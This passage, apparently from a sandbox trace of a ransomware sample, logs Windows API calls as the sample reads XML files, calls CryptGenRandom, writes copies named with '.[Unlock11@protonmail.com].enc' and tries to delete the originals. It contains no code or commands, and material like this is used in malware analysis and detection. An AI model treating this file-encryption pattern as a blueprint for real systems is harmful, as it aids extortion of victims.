hHeap=0x2ad0000) returned 1 [0122.183] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6528 | out: hHeap=0x2ad0000) returned 1 [0122.183] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0122.183] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0122.183] GetLastError () returned 0x0 [0122.183] GetLastError () returned 0x0 [0122.183] GetCurrentThreadId () returned 0x9b0 [0122.183] GetLastError () returned 0x0 [0122.183] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0122.183] GetLastError () returned 0x0 [0122.183] GetLastError () returned 0x0 [0122.183] GetCurrentThreadId () returned 0x9b0 [0122.183] GetLastError () returned 0x0 [0122.184] GetLastError () returned 0x0 [0122.185] GetLastError () returned 0x0 [0122.185] GetCurrentThreadId () returned 0x9b0 [0122.185] GetLastError () returned 0x0 [0122.185] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d18 | out: hHeap=0x2ad0000) returned 1 [0122.185] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xf8) returned 0x3306ec8 [0122.185] GetCurrentThreadId () returned 0x9b0 [0122.185] GetLastError () returned 0x0 [0122.185] GetLastError () returned 0x0 [0122.185] GetLastError () returned 0x0 [0122.185] GetLastError () returned 0x0 [0122.186] GetCurrentThreadId () returned 0x9b0 [0122.186] GetLastError () returned 0x0 [0122.186] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3306ec8 | out: hHeap=0x2ad0000) returned 1 [0122.186] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0122.186] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0122.186] GetLastError () returned 0x0 [0122.186] GetLastError () returned 0x0 [0122.186] GetCurrentThreadId () returned 0x9b0 [0122.186] GetLastError () returned 0x0 [0122.186] GetLastError () returned 0x0 [0122.186] GetLastError () returned 0x0 [0122.187] GetCurrentThreadId () returned 0x9b0 [0122.187] GetLastError () returned 0x0 [0122.187] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8648 | out: hHeap=0x2ad0000) returned 1 [0122.187] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0122.187] GetLastError () returned 0x0 [0122.188] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0122.188] CloseHandle (hObject=0x3ac) returned 1 [0122.188] GetLastError () returned 0x0 [0122.188] GetCurrentThreadId () returned 0x9b0 [0122.188] GetLastError () returned 0x0 [0122.188] GetLastError () returned 0x0 [0122.189] CloseHandle (hObject=0x39c) returned 1 [0122.189] GetLastError () returned 0x0 [0122.189] GetCurrentThreadId () returned 0x9b0 [0122.189] GetLastError () returned 0x0 [0122.189] GetLastError () returned 0x0 [0122.189] GetLastError () returned 0x0 [0122.189] GetLastError () returned 0x0 [0122.189] GetLastError () returned 0x0 [0122.189] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0 [0122.190] GetLastError () returned 0x5 [0122.190] GetCurrentThreadId () returned 0x9b0 [0122.190] GetLastError () returned 0x5 [0122.190] GetLastError () returned 0x5 [0122.190] GetLastError () returned 0x5 [0122.190] GetLastError () returned 0x5 [0122.190] LocalFree (hMem=0x1053c70) returned 0x0 [0122.190] GetCurrentThreadId () returned 0x9b0 [0122.190] GetLastError () returned 0x5 [0122.190] GetLastError () returned 0x5 [0122.190] GetLastError () returned 0x5 [0122.191] GetLastError () returned 0x5 [0122.191] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml", lpFilePart=0x9bada4*="insert.xml") returned 0x4b [0122.191] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0122.191] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0122.191] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0122.191] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0122.191] GetCurrentThreadId () returned 0x9b0 [0122.191] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea638 [0122.191] GetLastError () returned 0x0 [0122.191] GetLastError () returned 0x0 [0122.192] GetLastError () returned 0x0 [0122.192] GetLastError () returned 0x0 [0122.192] GetCurrentThreadId () returned 0x9b0 [0122.192] GetLastError () returned 0x0 [0122.192] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea638 | out: hHeap=0x2ad0000) returned 1 [0122.192] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea750 [0122.192] GetLastError () returned 0x0 [0122.192] GetLastError () returned 0x0 [0122.192] GetLastError () returned 0x0 [0122.192] GetLastError () returned 0x0 [0122.193] GetCurrentThreadId () returned 0x9b0 [0122.193] GetLastError () returned 0x0 [0122.193] GetCurrentThreadId () returned 0x9b0 [0122.193] GetLastError () returned 0x0 [0122.193] GetLastError () returned 0x0 [0122.193] GetLastError () returned 0x0 [0122.193] GetLastError () returned 0x0 [0122.193] GetCurrentThreadId () returned 0x9b0 [0122.193] GetLastError () returned 0x0 [0122.193] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea750 | out: hHeap=0x2ad0000) returned 1 [0122.193] GetLastError () returned 0x0 [0122.194] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6438 | out: hHeap=0x2ad0000) returned 1 [0122.194] GetLastError () returned 0x0 [0122.194] GetLastError () returned 0x0 [0122.194] GetLastError () returned 0x0 [0122.194] GetCurrentThreadId () returned 0x9b0 [0122.194] GetLastError () returned 0x0 [0122.194] GetLastError () returned 0x0 [0122.194] GetLastError () returned 0x0 [0122.194] GetLastError () returned 0x0 [0122.194] GetLastError () returned 0x0 [0122.197] GetCurrentThreadId () returned 0x9b0 [0122.197] GetLastError () returned 0x0 [0122.197] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a728 | out: hHeap=0x2ad0000) returned 1 [0122.197] GetLastError () returned 0x0 [0122.197] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d60f0 | out: hHeap=0x2ad0000) returned 1 [0122.197] GetLastError () returned 0x0 [0122.197] GetLastError () returned 0x0 [0122.198] GetLastError () returned 0x0 [0122.198] GetCurrentThreadId () returned 0x9b0 [0122.198] GetLastError () returned 0x0 [0122.198] GetCurrentThreadId () returned 0x9b0 [0122.198] GetLastError () returned 0x0 [0122.198] GetLastError () returned 0x0 [0122.198] GetLastError () returned 0x0 [0122.198] GetLastError () returned 0x0 [0122.198] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0122.198] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7)) returned 1 [0122.199] GetLastError () returned 0x0 [0122.199] GetCurrentThreadId () returned 0x9b0 [0122.199] GetLastError () returned 0x0 [0122.199] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2460 | out: hHeap=0x2ad0000) returned 1 [0122.199] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a7dc | out: pbBuffer=0x366a7dc) returned 1 [0122.199] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0122.199] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4598 [0122.199] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0122.199] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea7a0 [0122.199] GetCurrentThreadId () returned 0x9b0 [0122.199] GetLastError () returned 0x0 [0122.200] GetLastError () returned 0x0 [0122.200] GetLastError () returned 0x0 [0122.200] GetLastError () returned 0x0 [0122.200] GetCurrentThreadId () returned 0x9b0 [0122.200] GetLastError () returned 0x0 [0122.200] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea7a0 | out: hHeap=0x2ad0000) returned 1 [0122.200] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea610 [0122.200] GetLastError () returned 0x0 [0122.200] GetLastError () returned 0x0 [0122.200] GetLastError () returned 0x0 [0122.201] GetLastError () returned 0x0 [0122.201] GetCurrentThreadId () returned 0x9b0 [0122.201] GetLastError () returned 0x0 [0122.201] GetCurrentThreadId () returned 0x9b0 [0122.201] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea610 | out: hHeap=0x2ad0000) returned 1 [0122.201] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6c98 [0122.201] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a4598 | out: hHeap=0x2ad0000) returned 1 [0122.201] GetLastError () returned 0x0 [0122.201] GetLastError () returned 0x0 [0122.201] GetLastError () returned 0x0 [0122.201] GetLastError () returned 0x0 [0122.201] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0122.202] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6ca8 [0122.202] GetLastError () returned 0x0 [0122.202] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0122.202] GetFileType (hFile=0x39c) returned 0x1 [0122.202] GetLastError () returned 0x0 [0122.202] GetCurrentThreadId () returned 0x9b0 [0122.202] GetLastError () returned 0x0 [0122.202] GetFileType (hFile=0x39c) returned 0x1 [0122.202] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.203] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.203] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.203] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.203] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.203] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.203] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.203] GetLastError () returned 0x0 [0122.203] GetCurrentThreadId () returned 0x9b0 [0122.203] GetLastError () returned 0x0 [0122.203] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ca8 | out: hHeap=0x2ad0000) returned 1 [0122.203] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1f90 | out: hHeap=0x2ad0000) returned 1 [0122.203] GetLastError () returned 0x0 [0122.204] GetLastError () returned 0x0 [0122.204] GetLastError () returned 0x0 [0122.204] GetLastError () returned 0x0 [0122.204] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0122.204] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6ca8 [0122.204] GetLastError () returned 0x0 [0122.204] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0122.205] GetFileType (hFile=0x3ac) returned 0x1 [0122.205] GetLastError () returned 0x0 [0122.205] GetCurrentThreadId () returned 0x9b0 [0122.205] GetLastError () returned 0x0 [0122.205] GetFileType (hFile=0x3ac) returned 0x1 [0122.205] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.205] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.205] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.205] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.205] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.205] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.206] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.206] GetLastError () returned 0x0 [0122.206] GetCurrentThreadId () returned 0x9b0 [0122.206] GetLastError () returned 0x0 [0122.206] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ca8 | out: hHeap=0x2ad0000) returned 1 [0122.206] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6708 | out: hHeap=0x2ad0000) returned 1 [0122.206] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0122.206] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0122.206] GetLastError () returned 0x0 [0122.206] GetLastError () returned 0x0 [0122.206] GetCurrentThreadId () returned 0x9b0 [0122.206] GetLastError () returned 0x0 [0122.207] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0122.207] GetLastError () returned 0x0 [0122.207] GetLastError () returned 0x0 [0122.207] GetCurrentThreadId () returned 0x9b0 [0122.207] GetLastError () returned 0x0 [0122.207] GetLastError () returned 0x0 [0122.208] GetLastError () returned 0x0 [0122.208] GetCurrentThreadId () returned 0x9b0 [0122.208] GetLastError () returned 0x0 [0122.208] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c98 | out: hHeap=0x2ad0000) returned 1 [0122.208] GetCurrentThreadId () returned 0x9b0 [0122.209] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xf8) returned 0x3306dc8 [0122.209] GetLastError () returned 0x0 [0122.209] GetLastError () returned 0x0 [0122.209] GetLastError () returned 0x0 [0122.209] GetLastError () returned 0x0 [0122.209] GetCurrentThreadId () returned 0x9b0 [0122.209] GetLastError () returned 0x0 [0122.209] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3306dc8 | out: hHeap=0x2ad0000) returned 1 [0122.209] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0122.209] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0122.209] GetLastError () returned 0x0 [0122.210] GetLastError () returned 0x0 [0122.210] GetCurrentThreadId () returned 0x9b0 [0122.210] GetLastError () returned 0x0 [0122.210] GetLastError () returned 0x0 [0122.210] GetLastError () returned 0x0 [0122.210] GetCurrentThreadId () returned 0x9b0 [0122.210] GetLastError () returned 0x0 [0122.210] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8648 | out: hHeap=0x2ad0000) returned 1 [0122.210] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0122.210] GetLastError () returned 0x0 [0122.211] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0122.211] CloseHandle (hObject=0x3ac) returned 1 [0122.212] GetLastError () returned 0x0 [0122.212] GetCurrentThreadId () returned 0x9b0 [0122.212] GetLastError () returned 0x0 [0122.212] GetLastError () returned 0x0 [0122.212] CloseHandle (hObject=0x39c) returned 1 [0122.212] GetLastError () returned 0x0 [0122.212] GetCurrentThreadId () returned 0x9b0 [0122.212] GetLastError () returned 0x0 [0122.212] GetLastError () returned 0x0 [0122.213] GetLastError () returned 0x0 [0122.213] GetLastError () returned 0x0 [0122.213] GetLastError () returned 0x0 [0122.213] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml")) returned 0 [0122.213] GetLastError () returned 0x5 [0122.213] GetCurrentThreadId () returned 0x9b0 [0122.213] GetLastError () returned 0x5 [0122.213] GetLastError () returned 0x5 [0122.213] GetLastError () returned 0x5 [0122.214] GetLastError () returned 0x5 [0122.214] LocalFree (hMem=0x1053b10) returned 0x0 [0122.214] GetCurrentThreadId () returned 0x9b0 [0122.214] GetLastError () returned 0x5 [0122.214] GetLastError () returned 0x5 [0122.214] GetLastError () returned 0x5 [0122.214] GetLastError () returned 0x5 [0122.214] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml", lpFilePart=0x9bada4*="keypad.xml") returned 0x4b [0122.214] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0122.214] GetCurrentThreadId () returned 0x9b0 [0122.215] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0122.215] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0122.215] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0122.215] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea6b0 [0122.215] GetLastError () returned 0x0 [0122.215] GetLastError () returned 0x0 [0122.215] GetLastError () returned 0x0 [0122.215] GetLastError () returned 0x0 [0122.215] GetCurrentThreadId () returned 0x9b0 [0122.215] GetLastError () returned 0x0 [0122.215] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea6b0 | out: hHeap=0x2ad0000) returned 1 [0122.216] GetCurrentThreadId () returned 0x9b0 [0122.216] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea700 [0122.216] GetLastError () returned 0x0 [0122.216] GetLastError () returned 0x0 [0122.216] GetLastError () returned 0x0 [0122.216] GetLastError () returned 0x0 [0122.216] GetCurrentThreadId () returned 0x9b0 [0122.216] GetLastError () returned 0x0 [0122.216] GetLastError () returned 0x0 [0122.216] GetLastError () returned 0x0 [0122.216] GetLastError () returned 0x0 [0122.217] GetLastError () returned 0x0 [0122.217] GetCurrentThreadId () returned 0x9b0 [0122.217] GetLastError () returned 0x0 [0122.217] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea700 | out: hHeap=0x2ad0000) returned 1 [0122.217] GetLastError () returned 0x0 [0122.217] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6258 | out: hHeap=0x2ad0000) returned 1 [0122.217] GetLastError () returned 0x0 [0122.217] GetLastError () returned 0x0 [0122.217] GetLastError () returned 0x0 [0122.217] GetCurrentThreadId () returned 0x9b0 [0122.217] GetLastError () returned 0x0 [0122.218] GetCurrentThreadId () returned 0x9b0 [0122.218] GetLastError () returned 0x0 [0122.218] GetLastError () returned 0x0 [0122.218] GetLastError () returned 0x0 [0122.218] GetLastError () returned 0x0 [0122.218] GetCurrentThreadId () returned 0x9b0 [0122.218] GetLastError () returned 0x0 [0122.218] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a868 | out: hHeap=0x2ad0000) returned 1 [0122.218] GetLastError () returned 0x0 [0122.218] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x2ad0000) returned 1 [0122.218] GetLastError () returned 0x0 [0122.219] GetLastError () returned 0x0 [0122.219] GetLastError () returned 0x0 [0122.219] GetCurrentThreadId () returned 0x9b0 [0122.219] GetLastError () returned 0x0 [0122.219] GetLastError () returned 0x0 [0122.219] GetLastError () returned 0x0 [0122.219] GetLastError () returned 0x0 [0122.219] GetLastError () returned 0x0 [0122.219] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0122.219] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b5)) returned 1 [0122.220] GetLastError () returned 0x0 [0122.220] GetCurrentThreadId () returned 0x9b0 [0122.220] GetLastError () returned 0x0 [0122.220] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2670 | out: hHeap=0x2ad0000) returned 1 [0122.220] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a444 | out: pbBuffer=0x366a444) returned 1 [0122.220] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0122.220] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4720 [0122.220] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0122.220] GetCurrentThreadId () returned 0x9b0 [0122.220] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea750 [0122.220] GetLastError () returned 0x0 [0122.221] GetLastError () returned 0x0 [0122.221] GetLastError () returned 0x0 [0122.221] GetLastError () returned 0x0 [0122.221] GetCurrentThreadId () returned 0x9b0 [0122.221] GetLastError () returned 0x0 [0122.221] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea750 | out: hHeap=0x2ad0000) returned 1 [0122.221] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea610 [0122.221] GetCurrentThreadId () returned 0x9b0 [0122.221] GetLastError () returned 0x0 [0122.221] GetLastError () returned 0x0 [0122.222] GetLastError () returned 0x0 [0122.222] GetLastError () returned 0x0 [0122.222] GetCurrentThreadId () returned 0x9b0 [0122.222] GetLastError () returned 0x0 [0122.222] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea610 | out: hHeap=0x2ad0000) returned 1 [0122.222] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6d88 [0122.222] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a4720 | out: hHeap=0x2ad0000) returned 1 [0122.222] GetLastError () returned 0x0 [0122.222] GetLastError () returned 0x0 [0122.222] GetLastError () returned 0x0 [0122.222] GetLastError () returned 0x0 [0122.223] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0122.223] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6bc8 [0122.223] GetLastError () returned 0x0 [0122.223] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0122.223] GetFileType (hFile=0x39c) returned 0x1 [0122.223] GetLastError () returned 0x0 [0122.223] GetCurrentThreadId () returned 0x9b0 [0122.223] GetLastError () returned 0x0 [0122.223] GetFileType (hFile=0x39c) returned 0x1 [0122.224] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.224] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.224] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.224] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.224] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.224] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.224] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.224] GetLastError () returned 0x0 [0122.224] GetCurrentThreadId () returned 0x9b0 [0122.224] GetLastError () returned 0x0 [0122.224] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6bc8 | out: hHeap=0x2ad0000) returned 1 [0122.224] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a26c8 | out: hHeap=0x2ad0000) returned 1 [0122.224] GetLastError () returned 0x0 [0122.225] GetLastError () returned 0x0 [0122.225] GetLastError () returned 0x0 [0122.225] GetLastError () returned 0x0 [0122.225] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0122.225] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6d08 [0122.225] GetLastError () returned 0x0 [0122.225] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, 